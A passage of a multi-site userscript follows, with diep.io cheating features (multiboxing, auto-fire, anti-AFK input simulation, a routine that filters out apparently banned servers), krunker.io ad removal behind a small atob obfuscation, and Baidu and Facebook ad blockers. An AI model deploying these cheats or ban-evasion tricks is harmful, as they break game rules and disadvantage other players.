                if ([-1, 65, 83, 87, 68, 37, 40, 38, 39].includes(new_value)) return;

                if (DEBUG) console.log('master keyUp', new_value);

                if (storage.multibox) {
                    if ([1, 32].includes(new_value)) player._gamepad.leftMouse = false;
                    else if ([3, 16].includes(new_value)) player._gamepad.rightMouse = false;

                    player.keyUp(new_value);
                }
            });

            btnForceMaster = gui.addButton('Unlock this tab', () => {
                storage.reset();
                storage.off(multiboxListener);
                storage.off(keyDownListener);
                storage.off(keyUpListener);

                gui.reset();

                bigBoi();
            });
        }
        function bigBoi() {
            player.isMaster = true;
            storage.mutex = true;
            storage.clumpMode = 'player';

            storage.once('mutex', (name, old_value, new_value, remote) => {
                if (!new_value) {
                    gui.reset();

                    smallBoi();
                }
            });

            btnMultibox = gui.addButton('Multiboxing: OFF', onbtnMultibox, 'KeyF');
            btnAfk = gui.addButton('AFK: OFF', onbtnAfk, 'KeyQ');
            btnToggleClump = gui.addButton('Clump: Player', onbtnToggleClump);
            btnRepelNecro = gui.addButton('Repel Necro: OFF', onbtnRepelNecro);
            btnRepelNecro = gui.addButton('Repel Overlord: OFF', onbtnRepelOverlord);
            btnDiscord = gui.addButton('Discord', onbtnDiscord);
        }
        function mainLoop() {
            if (!unsafeWindow.input) return;

            if (player.isMaster) {
                storage.position = player.position;
                storage.inputs = player.inputs;

                if (!btnAfk.active) storage.mouse = player.mouse;

                if (btnAfk.active) {
                    if (Vector.distance(btnAfk.position, player.position) > 50) {
                        player.moveTo(btnAfk.position.x, btnAfk.position.y);
                    } else {
                        player.moveTo(player.position.x, player.position.y);
                    }
                    player.lookAt(btnAfk.mouse.x, btnAfk.mouse.y);
                }
            } else {
                const clumpMode = storage.clumpMode;
                const mouse = storage.mouse;
                let position;
                let bestPosition;

                if (clumpMode === 'player') {
                    position = storage.position;
                    bestPosition = player.findBestPos(position, storage.inputs);
                } else if (clumpMode === 'mouse') {
                    position = mouse;
                    bestPosition = position;
                } else if (clumpMode === 'shield') {
                    position = Vector.add(storage.position, Vector.scale(200, Vector.normalize(Vector.subtract(mouse, storage.position))));
                    bestPosition = position;
                } else {
                    throw new Error('Unsupported clumpMode', clumpMode);
                }

                if (storage.multibox) {
                    player.moveTo(bestPosition.x, bestPosition.y);
                    player.lookAt(mouse.x, mouse.y);
                }

                //Debugging
                const mouseScreen = player.toScreenPos(mouse.x, mouse.y);
                DEBUG_MousePosition(mouseScreen.x, mouseScreen.y, `(${mouse.x}, ${mouse.y})`);

                const playerScreen = player.toScreenPos(position.x, position.y);
                const bestPositionScreen = player.toScreenPos(bestPosition.x, bestPosition.y);
                DEBUG_PlayerPosition(playerScreen.x, playerScreen.y, bestPositionScreen.x, bestPositionScreen.y, `(${bestPosition.x}, ${bestPosition.y})`);

                //prank
                //if(!unsafeWindow.localStorage.name.startsWith('DT ')) unsafeWindow.localStorage.name = `DT ${unsafeWindow.localStorage.name}`;
            }
        }

        /*
 *   M A I N
 */
        const gui = new Gui('DiepBox by Cazka');
        const player = new Player();
        const storage = new MultiboxStorage();
        const chat = new Chat(player);

        let btnForceMaster;
        let btnMultibox;
        let btnToggleClump;
        let btnAfk;
        let btnRepelNecro;
        let btnRepelOverlord;
        let btnDiscord;

        if (storage.mutex) smallBoi();
        else bigBoi();

        unsafeWindow.addEventListener('unload', () => {
            if (player.isMaster) {
                storage.reset();
            }
        });

        player.onkeyDown = (key) => {
            if (player.isMaster && !chat._chatmode) {
                storage.keyDown = key;
                storage.keyDown = -1;
            }
        };
        player.onkeyUp = (key) => {
            if (player.isMaster) {
                storage.keyUp = key;
                storage.keyUp = -1;
            }
        };
        //setup canvas
        const ctx = document.getElementById('canvas').getContext('2d');

        // run main Loop
        unsafeWindow.requestAnimationFrame = new Proxy(unsafeWindow.requestAnimationFrame, {
            apply: function (target, thisArg, args) {
                mainLoop();
                drawZones();
                return target.apply(thisArg, args);
            },
        });
    });

    function executePredatorStack() {
        (async () => {
            // BEGIN CONFIGURATION/OPTIONS

            const REL = 6; // how much rel is in your build (5, 6, or 7 only rn)
            const KEY_CODE = 'KeyJ'; // adjustable

            // END CONFIGURATION/OPTIONS

            let sleep = (t) => new Promise(r=>setTimeout(r,t))

            // fire func
            async function fire(t=70, z=1) {
                unsafeWindow.input.keyDown(z);
                await sleep(t);
                unsafeWindow.input.keyUp(z);
            }

            async function stack(rel=5) {
                if (rel === 7) {
                    await fire();
                    await sleep(700);
                    await fire(200);
                    await sleep(550);
                    await fire(400)
                } else if (rel === 6) {
                    await fire(80);
                    await sleep(750);
                    await fire(300);
                    await sleep(550);
                    await fire(450)
                } else { // default 5
                    await fire(100);
                    await sleep(850);
                    await fire(400);
                    await sleep(550);
                    await fire(500)
                }
            }
            window.addEventListener('keyup', async (key) => {
                if (key.code === KEY_CODE) {
                    await stack(REL);
                    fire(69, 69)
                }
            })
        })();
    };

    function executeBanRedirect() {
        void async function() {

            const dataStore = (() => {

                let cachedStorage = {};

                const load = () => {
                    // Load up JSON data stored as a string in the GM Values
                    let storage = {};

                    try {
                        cachedStorage = storage = JSON.parse(GM_getValue('storage'));
                    } catch(err) {
                        GM_setValue('storage', '{}');
                    }

                    return storage
                }

                const store = (data) => {
                    // Store JSON data translated to a string into the GM Values
                    try {
                        cachedStorage = data;
                        GM_setValue('storage', JSON.stringify(data));
                    } catch(err) {
                        console.warn('Error in storing data', err);

                        GM_setValue('storage', '{}');
                    }
                }

                const getter = (obj, prop) => {
                    // Fetch a property from storage
                    // const storage = load(); - now using cached

                    return cachedStorage[prop];
                }
                const setter = (obj, prop, val) => {
                    // Set a property in storage
                    cachedStorage[prop] = val;

                    store(cachedStorage);

                    return val;
                }

                load();

                return new Proxy({}, {get: getter, set: setter})
            })();
            const BUILD = (/(?!build_)[0-9a-f]{40}(?=\.wasm\.js)/).exec(unsafeWindow.document.body.innerHTML)
            const m28SocketRegex = /^(wss:\/\/)(.{4,5})(?=\.s\.m28n\.net)/

            if (BUILD !== dataStore.build) {
                // new build = reset ban list
                dataStore.banList = []
                dataStore.build = BUILD;
            }

            while (!unsafeWindow.m28n) await new Promise(r=>setTimeout(r,100)); // should be loaded by now - but just incase

            // clone and proxy
            unsafeWindow.m28n._findServerPreference = unsafeWindow.m28n.findServerPreference
            unsafeWindow.m28n.findServerPreference = function(endpoint, options, cb) {
                if(typeof options == 'function') {
                    cb = options;
                    options = {};
                }

                this._findServerPreference(endpoint, options, (err, res) => {
                    if (err) return cb(err)

                    // exclude banned ids
                    cb(null, res.filter(({id}) => !dataStore.banList.includes(id)));
                })
            }

            unsafeWindow.WebSocket = class extends unsafeWindow.WebSocket {
                constructor(ip) {
                    super(ip)

                    // If its an M28 socket, check if it gets errors - if so, add to banList until next update
                    if(m28SocketRegex.test(ip)) {

                        const sid = m28SocketRegex.exec(this.url)[2] // group 1

                        this.addEventListener('error', () => {
                            if (this.readyState !== WebSocket.CLOSED) return;

                            dataStore.banList = dataStore.banList.concat(sid);
                        });
                    }
                }
            }
        }();
    };

    function executeRandomDirection() {
        const FULL_TURN = Math.PI*2;

        void new class RandomMouseModule {
            constructor(ABC_OP=true) {
                // for storing real mouse pos
                this.trueView = [0, 0];

                this._inject();
            }
            /* @returns {[x:Number, y:Number]} X and Y position in form of array */
            static getRandomPos() {
                const angle = Math.random() * FULL_TURN;

                return [Math.cos(angle)*100+(window.innerWidth/2)*window.devicePixelRatio, Math.sin(angle)*100+(window.innerHeight/2)*window.devicePixelRatio];
            }


            // hijack input.keyDown, input.mouse, and input.keyUp
            async _inject() {
                while (!unsafeWindow.input || !unsafeWindow.input.keyDown) await new Promise(r=>setTimeout(r,200));

                unsafeWindow.input._mouse = unsafeWindow.input.mouse;
                unsafeWindow.input.mouse = (x,y) => {
                    this.trueView = [x,y];

                    if (!unsafeWindow.input.should_prevent_unload()) this.autofire = this.shooting = false;

                    if (unsafeWindow.input.should_prevent_unload() && !this.autofire && !this.shooting) {
                        unsafeWindow.input._mouse(...RandomMouseModule.getRandomPos());
                    } else unsafeWindow.input._mouse(x,y);
                }
                unsafeWindow.input._keyDown = unsafeWindow.input.keyDown;
                unsafeWindow.input.keyDown = (code) => {
                    if (!unsafeWindow.input.should_prevent_unload()) return unsafeWindow.input._keyDown(code);

                    if (code === 69) this.autofire = !this.autofire;
                    if (code === 1 || code === 32) this.shooting = true;
                    if (code === 1 || code === 32 || code === 69) {
                        unsafeWindow.input._mouse(...this.trueView);
                    }
                    return unsafeWindow.input._keyDown(code);
                }
                unsafeWindow.input._keyUp = unsafeWindow.input.keyUp;
                unsafeWindow.input.keyUp = (code) => {
                    if (!unsafeWindow.input.should_prevent_unload()) return unsafeWindow.input._keyUp(code);

                    if (code === 1 || code === 32) this.shooting = false;
                    if (code === 1 || code === 32 || code === 69) {
                        unsafeWindow.input._mouse(...this.trueView);
                    }
                    return unsafeWindow.input._keyUp(code);
                }

                // just make it go auto
                setInterval(() => unsafeWindow.input.mouse(...this.trueView), 100)
            }
        }();
    };

    function executeFollowMouse() {
        let mouse = {
            x: 0,
            y: 0,
            down: false,
            shift: false
        }
        window.addEventListener('mousemove', (moose) => {
            mouse.x = moose.clientX-window.innerWidth/2;
            mouse.y = moose.clientY-window.innerHeight/2;
        });
        window.addEventListener('mousedown', (moose) => {
            mouse.x = moose.clientX-window.innerWidth/2;
            mouse.y = moose.clientY-window.innerHeight/2;
            mouse.down = true;
        });
        window.addEventListener('mouseup', (moose) => {
            mouse.x = moose.clientX-window.innerWidth/2;
            mouse.y = moose.clientY-window.innerHeight/2;
            mouse.down = false;
        });
        window.addEventListener('keydown', (key) => {
            if (key.code === 'Shift') {
                mouse.shift = true
            }
        });
        window.addEventListener('keyup', (key) => {
            if (key.code === 'Shift') {
                mouse.shift = false
            }
        });

        class ArtificialGamepad extends EventTarget /* not needed */ {
            constructor() {
                super();
            }

            get mapping() {
                return "standard";
            }
            set mapping(v) {
                throw new RangeError('No');
            }

            get axes() {
                return [
                    mouse.x/(window.innerWidth/3), // move x %
                    mouse.y/(window.innerHeight/3), // move y %
                    mouse.x/(window.innerWidth), // look x %
                    mouse.y/(window.innerHeight), // look y %
                ]
            }
            set axes(v) {
                throw new RangeError('No');
            }

            get buttons() {
                return [
                    {pressed: false}, // not
                    {pressed: false}, // really
                    {pressed: false}, // useful
                    {pressed: false}, // we can
                    {pressed: false}, // just ignore these
                    {pressed: mouse.shift},
                    {pressed: false},
                    {pressed: mouse.down}
                ]
            }
            set buttons(v) {
                throw new RangeError('No');
            }
        }

        navigator.getGamepads = () => {
            return [new ArtificialGamepad()]
        }
    };

    function executeAntiAntiafk() {
        function keyPress(key, upDown) {
            var eventObj;
            if (upDown == true) {
                eventObj = document.createEvent("Events");
                eventObj.initEvent("keydown", true, true);
                eventObj.keyCode = key;
                window.dispatchEvent(eventObj);
            }
            if(upDown == false) {
                eventObj = document.createEvent("Events");
                eventObj.initEvent("keyup", true, true);
                eventObj.keyCode = key;
                window.dispatchEvent(eventObj);
            }
        }

        var overlay = document.createElement("div");
        document.body.appendChild(overlay);
        var toggler = "OFF";

        setInterval( () => {
            var overlayHTML = `

<style>

.main {
pointer-events: none;
position: fixed;
top: 10px;
right: 50%;
transform: translateX(50%);
font-family: 'Roboto', cursive, sans-serif;
color: #202225;
font-style: normal;
font-variant: normal;
}

</style>

<div class="main" id="all">
<p id="antiAFK"> Anti-AFK = ${toggler} [F]</p>
</div>
`
            overlay.innerHTML = overlayHTML;
        }, 5)

        var keyW = 87;
        var keyS = 83;

        function pressW() {
            keyPress(keyW, 1);
            setTimeout( () => {
                keyPress(keyW, 0);
            }, 200);
        }

        function pressS() {
            keyPress(keyS, 1);
            setTimeout( () => {
                keyPress(keyS, 0);
            }, 200);
        }

        function pressTimeout(keyCode, timeout) {
            keyPress(keyCode, 1);
            setTimeout( () => {
                keyPress(keyCode, 0);
            }, timeout);
        }

        function antiAFK() {
            if(out == 1) {
                pressW();
                setTimeout( () => {
                    pressS();
                    intoggle = 1;
                }, 2000);
            }
        }

        var out = 0;
        var intoggle = 1;

        setInterval( () => {
            if(out == 1) {
                antiAFK();
            }
        }, 4000);

        function off_on() {
            if(keyPressToggle == 0) {
                out = 0;
                toggler = "OFF";
            } else {
                out = 1;
                intoggle = 1;
                toggler = "ON";
            }
        }

        var keyPressToggle = 0;

        document.addEventListener('keydown', function(e) {
            if(e.key == "f") {
                keyPressToggle = !keyPressToggle;
                off_on()
            }
            if(e.key == 'r') {
                fire(0,120);
                fire(0.75,200);
                fire(1.5,745);
                setTimeout( () => {
                    keyPress(69, 1)
                    setTimeout( () => {
                        keyPress(69, 0)
                    }, 500);
                }, 1500);
            }
        });

        function fire(t,w) {
            setTimeout(function(){
                keyPress(32, 1);
            }, t*1000);
            setTimeout(function(){
                keyPress(32, 0);
            }, t*1000+w);
        }
    };

    function executePermanentLeaderArrow() {
        unsafeWindow.CanvasRenderingContext2D.prototype._fill = unsafeWindow.CanvasRenderingContext2D.prototype._fill || unsafeWindow.CanvasRenderingContext2D.prototype.fill;
        unsafeWindow.CanvasRenderingContext2D.prototype.fill = function(abc='op') {
            if (this.canvas.id === 'canvas' && this.fillStyle === '#000000') this.globalAlpha = Math.max(this.globalAlpha, .35)
            this._fill()
        };

        unsafeWindow.CanvasRenderingContext2D.prototype._drawImage = unsafeWindow.CanvasRenderingContext2D.prototype._drawImage || unsafeWindow.CanvasRenderingContext2D.prototype.drawImage;
        unsafeWindow.CanvasRenderingContext2D.prototype.drawImage = function(canvas) {
            this.globalAlpha = Math.max(this.globalAlpha, .35)
            this._drawImage(...arguments)
        };
    };

    let loaded1 = false, loaded2 = false, loaded3 = false;
    var setupInt = setInterval(()=>{
        switch (document.readyState) {
            case "loading":
                if (loaded1) return;
                loaded1 = true;
                executeBanRedirect();
                //executeFollowMouse();
                break;
            case "interactive":
                if (loaded2) return;
                loaded2 = true;
                diepBox();
                executeAntiAntiafk();
                break;
            case "complete":
                if (loaded3) return;
                loaded3 = true;
                let t_ = true;
                document.onkeydown = (e) => {
                    let tmpelem = Array.from(document.querySelectorAll("button")).find(e=>{return e.innerHTML == "DiepBox by Cazka"});
                    tmpelem = tmpelem.parentElement.parentElement;
                    e.key == "Escape" && ((tmpelem.style.display = t_ ? "none" : "block"), (t_ = !t_))
                }; //toggle menu with esc
                executeRandomDirection();
                executePermanentLeaderArrow();
                executePredatorStack();
                document.addEventListener("keydown", (ev) => {
                    if (ev.key == "n") {
                        unsafeWindow.input.execute("lb_reconnect");
                    };
                });
                clearInterval(setupInt);
                break;
        };
    }, 0);
} else if (hostname === "krunker.io") {
    setTimeout(()=>{
        function generateDeleter() {
            return {
                a: ['c'],
                b: ['m'],
                c: ['V'],
                d: ['t'],
                e: () => {
                    return "b3Zl";
                },
                xx: ["aContainer",
                     "google_ads_iframe_/15184186/krunkerio_728x90_1_0__container__",
                     "google_ads_iframe_/15184186/krunkerio_300x250_3_0__container__",
                     "google_ads_iframe_/15184186/krunkerio_300x250_2_0__container__",
                     "endAContainer"]
            };
        };
        setInterval(()=>{
            var delx = generateDeleter();
            try {document.getElementById(delx.xx[0])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){}; delx.e(); try {document.getElementById(delx.xx[1])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){}; try { document.getElementById(delx.xx[2])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )]();}catch(e){}; try { document.getElementById(delx.xx[3])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){};  try { document.getElementById(delx.xx[4])[atob(
                delx.a[0] + "" +
                delx.b[0] + "" +
                delx.c[0] + "" +
                delx.d[0] + "" +
                delx.e()
            )](); }catch(e){};
        }, 100);
    }, 10000);
} else if (["www.baidu.com", "baidu.com", "m.baidu.com"].includes(hostname)) {
    //inspired by https://greasyfork.org/en/scripts/24192-%E7%99%BE%E5%BA%A6%E5%B9%BF%E5%91%8A-%E9%A6%96%E5%B0%BE%E6%8E%A8%E5%B9%BF%E5%8F%8A%E5%8F%B3%E4%BE%A7%E5%B9%BF%E5%91%8A-%E6%B8%85%E7%90%86/
    //^ MIT licensed, go contribute https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=rixixi@sina.com&item_name=Greasy+Fork+donation
    (function () {
        'use strict';
        const phantomArray = [];
        const compatibleMutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
        if (compatibleMutationObserver) {
            const observer = new compatibleMutationObserver(function (records) {
                records.map(function (record) {
                    if (record.addedNodes.length) {
                        phantomArray.forEach.call(record.addedNodes, function(addedNode) {
                            deleteAd(addedNode);
                        });
                    }
                });
            });
    
            observer.observe(document, {
                'childList': true,
                'subtree': true
            });
        };
    
        const adFlag = "广告"; //tell on ads
    
        function tryContentRight() {
            const foundContent = document.querySelector("#content_right>div>div>div");
            if (foundContent) {
                const allLinks = foundContent.querySelectorAll("a");
                for (let i = 0; i < allLinks.length; i++) {
                    if (allLinks[i].innerHTML == adFlag) {
                        foundContent.remove();
                        break;
                    };
                };
            };
        };
        function tryRightTable() {
            const _table = document.querySelectorAll("#content_right>table>tbody>tr>td>div");
            for (let i = 0; i < _table.length; i++) {
                let tableElement = _table[i];
                if (tableElement.id != "con-ar") {
                    tableElement.remove();
                };
            };
        };
        function tryRawRemoval() {
            const mAds = document.querySelectorAll(".ec_wise_ad,.ec_youxuan_card,.page-banner");
            for (let i = 0; i < mAds.length; i++) {
                const thisAd = mAds[i];
                if (thisAd && thisAd.remove) {
                    thisAd.remove();
                };
            };
        };
        function tryListRemoval() {
            const list = document.querySelectorAll("#content_left>div,#content_left>table");
            for (let i = 0; i < list.length; i++) {
                let item = list[i];
                let s = item.getAttribute("style");
                if (s && /display:(table|block)\s!important/.test(s)) {
                    item.remove();
                } else {
                    let span = item.querySelector("div>span");
                    if (span && span.innerHTML == adFlag) {
                        item.remove();
                    }
                    phantomArray.forEach.call(item.querySelectorAll("span,a"), function (span) {
                        if (span && (span.innerHTML == adFlag || span.getAttribute("data-tuiguang"))) {
                            item.remove();
                        }
                    });
                    phantomArray.forEach.call(item.querySelectorAll("a>div>span+img"), function (img) {
                        if (img && /^https?:\/\/pic\.rmb\.bdstatic\.com/.test(img.src)) {
                            item.remove();
                        }
                    });
                };
            };
        };
        function deleteAllAds() {
            if (!document.querySelectorAll) return;
            try {
                tryRawRemoval();
            } catch(e) {
                console.error("bug with raw removal", e);
            };
    
            try {
                tryListRemoval();
            } catch(e) {
                console.error("bug with list removal", e);
            };
    
            try {
                tryRightTable();
            } catch(e) {
                console.error("bug with right table removal", e);
            };
    
            try {
                tryContentRight();
            } catch(e) {
                console.error("bug with right content removal", e);
            };
        };
    
        function testElement(element) {
            return element.parentNode
                && element.parentNode.id == "content_left"
                && (element.nodeName == "DIV" || element.nodeName == "TABLE")
        };
        function deleteAd(element) {
            if (element.nodeType != 1) return;
    
            if (element.classList.contains("ec-tuiguang") || element.classList.contains("ec_wise_ad") || element.classList.contains("ec_youxuan_card") || element.classList.contains("page-banner")) {
                element.remove();
                return;
            }
    
            if (testElement(element)) {
                const FOUND_STYLE = element.getAttribute("style");
                if (FOUND_STYLE && /display:(table|block)\s!important/.test(FOUND_STYLE)) {
                    element.remove();
                } else {
                    let divSpan = element.querySelector("div>span");
                    if (divSpan && divSpan.innerHTML == adFlag) {
                        element.remove();
                    };
                    phantomArray.forEach.call(element.querySelectorAll("span,a"), function (span) {
                        if (span && (span.innerHTML == adFlag || span.getAttribute("data-tuiguang"))) {
                            element.remove();
                        };
                    });
                    phantomArray.forEach.call(element.querySelectorAll("a>div>span+img"), function (img) {
                        if (img && /^https?:\/\/pic\.rmb\.bdstatic\.com/.test(img.src)) {
                            element.remove();
                        };
                    });
                };
            } else if (element.parentNode && element.parentNode.id == "content_right") {
                if (element.nodeName == "TABLE") {
                    const table = element.querySelectorAll("tbody>tr>td>div");
                    for (let i = 0; i < table.length; i++) {
                        let tableElement = table[i];
                        if (tableElement.id != "con-ar") {
                            tableElement.remove();
                        };
                    };
                };
                if (element.nodeName == "DIV") {
                    let divs = element.querySelector("div>div");
                    if (divs) {
                        let links = divs.querySelectorAll("a");
                        for (i = 0; i < links.length; i++) {
                            let d = links[i];
                            if (d.innerHTML == adFlag) {
                                divs.remove();
                                break;
                            };
                        };
                    };
                };
            } else {
                phantomArray.forEach.call(element.querySelectorAll("#content_left>div,#content_left>table"), e => {
                    deleteAd(e)
                });
            };
        };
        setTimeout(() => {
            deleteAllAds();
        }, 2000);
    })();
} else if (["facebook.com", "www.facebook.com"].includes(hostname)) {
    //this is inspired from https://greasyfork.org/en/scripts/390483-facebook-adblocker
    //MIT; https://baivong.mit-license.org/license.txt (even though its only inspired, the og concept is MIT licensed)
    (function (global, factory) {
        typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
            typeof define === 'function' && define.amd ? define(['exports'], factory) :
            (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.throttleDebounce = {}));
    })(this, (function (exports) {
        'use strict';
    
        /* eslint-disable no-undefined,no-param-reassign,no-shadow */
    
        /**
         * Throttle execution of a function. Especially useful for rate limiting
         * execution of handlers on events like resize and scroll.
         *
         * @param {number} delay -                  A zero-or-greater delay in milliseconds. For event callbacks, values around 100 or 250 (or even higher)
         *                                            are most useful.
         * @param {Function} callback -               A function to be executed after delay milliseconds. The `this` context and all arguments are passed through,
         *                                            as-is, to `callback` when the throttled-function is executed.
         * @param {object} [options] -              An object to configure options.
         * @param {boolean} [options.noTrailing] -   Optional, defaults to false. If noTrailing is true, callback will only execute every `delay` milliseconds
         *                                            while the throttled-function is being called. If noTrailing is false or unspecified, callback will be executed
         *                                            one final time after the last throttled-function call. (After the throttled-function has not been called for
         *                                            `delay` milliseconds, the internal counter is reset).
         * @param {boolean} [options.noLeading] -   Optional, defaults to false. If noLeading is false, the first throttled-function call will execute callback
         *                                            immediately. If noLeading is true, the first the callback execution will be skipped. It should be noted that
         *                                            callback will never executed if both noLeading = true and noTrailing = true.
         * @param {boolean} [options.debounceMode] - If `debounceMode` is true (at begin), schedule `clear` to execute after `delay` ms. If `debounceMode` is
         *                                            false (at end), schedule `callback` to execute after `delay` ms.
         *
         * @returns {Function} A new, throttled, function.
         */
        function throttle(delay, callback, options) {
            var _ref = options || {}
                , _ref$noTrailing = _ref.noTrailing
                , noTrailing = _ref$noTrailing === void 0 ? false : _ref$noTrailing
                , _ref$noLeading = _ref.noLeading
                , noLeading = _ref$noLeading === void 0 ? false : _ref$noLeading
                , _ref$debounceMode = _ref.debounceMode
                , debounceMode = _ref$debounceMode === void 0 ? undefined : _ref$debounceMode;
            /*
             * After wrapper has stopped being called, this timeout ensures that
             * `callback` is executed at the proper times in `throttle` and `end`
             * debounce modes.
             */
    
    
            var timeoutID;
            var cancelled = false; // Keep track of the last time `callback` was executed.
    
            var lastExec = 0; // Function to clear existing timeout
    
            function clearExistingTimeout() {
                if (timeoutID) {
                    clearTimeout(timeoutID);
                }
            } // Function to cancel next exec
    
    
            function cancel(options) {
                var _ref2 = options || {}
                    , _ref2$upcomingOnly = _ref2.upcomingOnly
                    , upcomingOnly = _ref2$upcomingOnly === void 0 ? false : _ref2$upcomingOnly;
    
                clearExistingTimeout();
                cancelled = !upcomingOnly;
            }
            /*
             * The `wrapper` function encapsulates all of the throttling / debouncing
             * functionality and when executed will limit the rate at which `callback`
             * is executed.
             */
    
    
            function wrapper() {
                for (var _len = arguments.length, arguments_ = new Array(_len), _key = 0; _key < _len; _key++) {
                    arguments_[_key] = arguments[_key];
                }
    
                var self = this;
                var elapsed = Date.now() - lastExec;
    
                if (cancelled) {
                    return;
                } // Execute `callback` and update the `lastExec` timestamp.
    
    
                function exec() {
                    lastExec = Date.now();
                    callback.apply(self, arguments_);
                }
                /*
                 * If `debounceMode` is true (at begin) this is used to clear the flag
                 * to allow future `callback` executions.
                 */
    
    
                function clear() {
                    timeoutID = undefined;
                }
    
                if (!noLeading && debounceMode && !timeoutID) {
                    /*
                     * Since `wrapper` is being called for the first time and
                     * `debounceMode` is true (at begin), execute `callback`
                     * and noLeading != true.
                     */
                    exec();
                }
    
                clearExistingTimeout();
    
                if (debounceMode === undefined && elapsed > delay) {
                    if (noLeading) {
                        /*
                         * In throttle mode with noLeading, if `delay` time has
                         * been exceeded, update `lastExec` and schedule `callback`
                         * to execute after `delay` ms.
                         */
                        lastExec = Date.now();
    
                        if (!noTrailing) {
                            timeoutID = setTimeout(debounceMode ? clear : exec, delay);
                        }
                    } else {
                        /*
                         * In throttle mode without noLeading, if `delay` time has been exceeded, execute
                         * `callback`.
                         */
                        exec();
                    }
                } else if (noTrailing !== true) {
                    /*
                     * In trailing throttle mode, since `delay` time has not been
                     * exceeded, schedule `callback` to execute `delay` ms after most
                     * recent execution.
                     *
                     * If `debounceMode` is true (at begin), schedule `clear` to execute
                     * after `delay` ms.
                     *
                     * If `debounceMode` is false (at end), schedule `callback` to
                     * execute after `delay` ms.
                     */
                    timeoutID = setTimeout(debounceMode ? clear : exec, debounceMode === undefined ? delay - elapsed : delay);
                }
            }
    
            wrapper.cancel = cancel; // Return the wrapper function.
    
            return wrapper;
        }
    
        /* eslint-disable no-undefined */
        /**
         * Debounce execution of a function. Debouncing, unlike throttling,
         * guarantees that a function is only executed a single time, either at the
         * very beginning of a series of calls, or at the very end.
         *
         * @param {number} delay -               A zero-or-greater delay in milliseconds. For event callbacks, values around 100 or 250 (or even higher) are most useful.
         * @param {Function} callback -          A function to be executed after delay milliseconds. The `this` context and all arguments are passed through, as-is,
         *                                        to `callback` when the debounced-function is executed.
         * @param {object} [options] -           An object to configure options.
         * @param {boolean} [options.atBegin] -  Optional, defaults to false. If atBegin is false or unspecified, callback will only be executed `delay` milliseconds
         *                                        after the last debounced-function call. If atBegin is true, callback will be executed only at the first debounced-function call.
         *                                        (After the throttled-function has not been called for `delay` milliseconds, the internal counter is reset).
         *
         * @returns {Function} A new, debounced function.
         */
    
        function debounce(delay, callback, options) {
            var _ref = options || {}
                , _ref$atBegin = _ref.atBegin
                , atBegin = _ref$atBegin === void 0 ? false : _ref$atBegin;
    
            return throttle(delay, callback, {
                debounceMode: atBegin !== false
            });
        }
    
        exports.debounce = debounce;
        exports.throttle = throttle;
    
        Object.defineProperty(exports, '__esModule', {
            value: true
        });
    
    }));
    
    window.addEventListener('DOMContentLoaded', function () {
        /**
         * Facebook sponsor labels
         */
        const sponsorLabelConfigs = {
            en: ['Sponsored']
            , vi: ['Được tài trợ']
        };
    
        /**  @type {'remove'|'fade'} */
        const sponsorHideMode = 'remove';
    
        /* === DO NOT CHANGE ANYTHING BELOW THIS LINE === */
        /** @type Element */
        let labelHidden = null;
        /** @type string[]|null */
        let labelStore = null;
        /** @type MutationObserver */
        let observerLabel;
        /** @type MutationObserver */
        let observerStory;
        /** @type MutationObserver */
        let observerHead;
        /** @type IntersectionObserver */
        let observerScroll;
    
        /** @type {Array<string>} */
        let sponsorLangConfigs = sponsorLabelConfigs[navigator.language.split('-')[0] || document.documentElement.lang || sponsorLabelConfigs.en];
        /**
         * @param {string} label
         * @param {boolean} removeSpaces
         * @returns {boolean}
         */
        function isSponsorLabel(label, removeSpaces = false) {
            if (!removeSpaces)
                return sponsorLangConfigs.includes(label);
            return sponsorLangConfigs.map((label) => label.replace(/\s/g, ''))
                .includes(label);
        }
    
        function feedSelector() {
            return (location.pathname.startsWith('/watch') ? '#watch_feed' : '[role="feed"]');
        };
    
        function articleSelector() {
            return (location.pathname.startsWith('/watch') ? '._6x84' : '[role="article"]');
        };
    
        /**
         * @param {Element} sponsorLabel
         */
        function removeSponsor(sponsorLabel) {
            const sponsorWrapper = sponsorLabel.closest(articleSelector());
            if (sponsorWrapper === null)
                return;
    
            if (sponsorHideMode === 'fade') {
                sponsorWrapper.style.opacity = 0.1;
                sponsorWrapper.style.transition = 'opacity 400ms ease-in-out 0s';
                sponsorWrapper.addEventListener('mouseenter', function () {
                    sponsorWrapper.style.opacity = 1;
                });
                sponsorWrapper.addEventListener('mouseleave', function () {
                    sponsorWrapper.style.opacity = 0.1;
                });
            } else {
                sponsorWrapper.remove();
            }
        }
    
        /**
         * @param {Element} wrapper
         */
        function detectSponsor(wrapper) {
            let sponsorLabelSelector = ['a[href^="/ads/"]'];
            sponsorLabelSelector.push(...sponsorLangConfigs.map((label) => `a[aria-label="${label}"]`));
    
            const sponsorLabels = wrapper.querySelectorAll(sponsorLabelSelector.join(','));
            if (sponsorLabels.length)
                sponsorLabels.forEach(removeSponsor);
    
            const obfuscatedLabels = wrapper.querySelectorAll('[style="display: flex;"]');
            if (obfuscatedLabels.length) {
                obfuscatedLabels.forEach((obfuscatedLabel) => {
                    const temp = [];
                    obfuscatedLabel.querySelectorAll('div')
                        .forEach((span) => {
                            if (getComputedStyle(span)
                                .getPropertyValue('display') === 'none' ||
                                getComputedStyle(span)
                                .getPropertyValue('position') === 'absolute')
                                return;
    
                            const order = parseInt(getComputedStyle(span)
                                .getPropertyValue('order'), 10);
                            temp[order] = span.textContent.trim();
                        });
    
                    const label = temp.join('')
                        .replace(/\s/g, '');
                    if (isSponsorLabel(label, true))
                        removeSponsor(obfuscatedLabel);
                });
            }
        }
    
        /**
         * @param {Element} wrapper
         */
        function findSponsor(wrapper = document) {
            if (labelStore instanceof Array) {
                if (!labelStore.length)
                    return;
    
                const sponsorLabel = wrapper.querySelector('span[aria-labelledby="' + labelStore.pop() + '"][class]');
                if (sponsorLabel === null)
                    return;
    
